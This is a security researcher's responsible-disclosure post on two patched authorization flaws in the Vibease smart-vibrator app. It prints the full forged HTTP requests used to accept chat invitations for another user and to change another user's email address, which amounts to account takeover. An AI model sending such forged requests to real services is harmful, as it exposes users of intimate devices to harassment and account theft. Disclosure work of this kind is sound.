Multiple vulnerabilities in Vibease

alt Introduction

This post will be going over vulnerabilities found within Vibease. If you've ever wondered what mobile app vulnerabilities look like you are sure to find this post helfpul. Vibease is a company that sells smart vibrators that connect to a mobile app. The main feature of the app that this post will be covering is the communication features that allow a remote partner to communicate with the person who has the vibrator. Some of the features that the remote partner can use are sending a text message, starting an audio or video call and control the vibrator. I strongly recommend watching the following short video to learn more about how the app works as it is a great primer for what is to come.

Disclosure Timeline

March 2nd 2017 - Initial contact addressing issues and instructions on how to reproduce.
March 2nd 2017 - Response from Vibease stating they have patched the issues.

The team at Vibease were quick to review and patch the issues discussed in this post. I commend the team at Vibease not just for their commitment to their security posture but for understanding risks quickly and making changes to secure their user base. I informed Vibease of these issues and they patched their systems within an hour of being notified.

Circumvention Of Invitation System

Vibease's app chat function uses an invitation system for users to interact with other users. This means that a user has to accept a chat invitation from another user before messages, photos and other options can be used or interacted with. This acts as a privacy gateway for users so random users can't just bombard other users with messages, pictures or requests to control a user's device. The following request is what a normal chat invite request looks like.

POST https://secure.vibease.com/WebService/VibeSvc.svc/newmultiplecontactrequest HTTP/1.1 Host: secure.vibease.com
Proxy-Connection: keep-alive Accept-Encoding: gzip,deflate
Content-Type: application/json; charset=utf-8 Accept-Language: en-us
Accept: */* AuthField2: <snip>
Content-Length: 84 AuthField1: bob
Connection: keep-alive User-Agent: VibeaseChat/1 CFNetwork/758.5.3 Darwin/15.6.0
{"RecipientUsername":"alice","Message":"","Username":"bob","RequestCode":""}

Response:
{"Message":"","OutgoingContactRequest":{"ContactGender":0,"ContactProfilePhotoURI":"","ContactUsername":"alice","IsRejected":"false","RequestDate":"2017-03-08","RequestID":639063,"RequestMessage":"","RequestTime":"21:47:20"},"Status":"true"}

Normally at this point Alice would need to accept the invitation from Bob before Bob could communicate. However, through some research I was able to determine that users could forge requests and accept chat invitations on other users behalf therefore enabling an active chat session and removing the initial privacy gateway.

Typically the username field in the following request's postdata would be the same username as the header AuthField1. It was determined that the postdata was not validating the information being sent. In this example I was able to forge a friend request to Alice from Eve while logged in as another user.

POST https://secure.vibease.com/WebService/VibeSvc.svc/newmultiplecontactrequest HTTP/1.1 Host: secure.vibease.com
Proxy-Connection: keep-alive Accept-Encoding: gzip,deflate
Content-Type: application/json; charset=utf-8 Accept-Language: en-us
Accept: */* AuthField2: <snip>
Content-Length: 84 AuthField1: bob
Connection: keep-alive User-Agent: VibeaseChat/1 CFNetwork/758.5.3 Darwin/15.6.0
{"RecipientUsername":"alice","Message":"","Username":"eve","RequestCode":""}

Response:
{"Message":"","OutgoingContactRequest":{"ContactGender":0,"ContactProfilePhotoURI":"","ContactUsername":"alice","IsRejected":"false","RequestDate":"2017-03-08","RequestID":639065,"RequestMessage":"","RequestTime":"21:57:43"},"Status":"true"}

In this example the previous contact request is accepted on behalf of Alice while logged into a different account.

POST https://secure.vibease.com/WebService/VibeSvc.svc/processmultiplecontactrequest HTTP/1.1 Host: secure.vibease.com
Proxy-Connection: keep-alive Accept-Encoding: gzip,deflate
Content-Type: application/json; charset=utf-8 Accept-Language: en-us
Accept: */* AuthField2: <snip>
Content-Length: 64 AuthField1: bob
Connection: keep-alive User-Agent: VibeaseChat/1 CFNetwork/758.5.3 Darwin/15.6.0
{"Username":"alice","ActionType":"accept","RequestID":639065}

Response:
{"Message":"","Status":"true"}

This vulnerability removes the privacy shield that the accept/deny features provide. Any user leveraging this vulnerability could send messages, voice calls, video calls, photos and request control of a user's device.

Account Takeover

After discovering that some of the postdata in the mobile app was not being validated I decided to take a look at the request for email update. I navigated through the mobile app and modified my test account's email address. Here's what the request looked like.

POST https://secure.vibease.com/WebService/VibeSvc.svc/updateemail HTTP/1.1 Host: secure.vibease.com
Content-Type: application/json; charset=utf-8 Connection: keep-alive
AuthField2: <snip> AuthField1: bob
Accept: */* Accept-Language: en-us
User-Agent: VibeaseChat/1 CFNetwork/808.2.16 Darwin/16.3.0 Accept-Encoding: gzip,deflate
Content-Length: 63 PostData: {"NewEmailAddress":"bobsnewemail@gmail.com","Username":"bob"}
Response: {"Message":"","Status":"true"}

I followed the same steps as discussed in the previous issue. In this case I am logged in as Bob and I attempted to change the email address on Alice's account.

POST https://secure.vibease.com/WebService/VibeSvc.svc/updateemail HTTP/1.1 Host: secure.vibease.com
Content-Type: application/json; charset=utf-8 Connection: keep-alive
AuthField2: <snip> AuthField1: bob
Accept: */* Accept-Language: en-us
User-Agent: VibeaseChat/1 CFNetwork/808.2.16 Darwin/16.3.0 Accept-Encoding: gzip,deflate
Content-Length: 63 PostData: {"NewEmailAddress":"temporaryemail@mailinator.com","Username":"alice"}
Response: {"Message":"","Status":"true"}

As you can see from the post response the email update was successful. This vulnerability effectively allowed any user to modify other user's email addresses.

Final Comments

I would like to once again thank the security team at Vibease for quickly getting a handle of these issues and responding rapidly with a fix.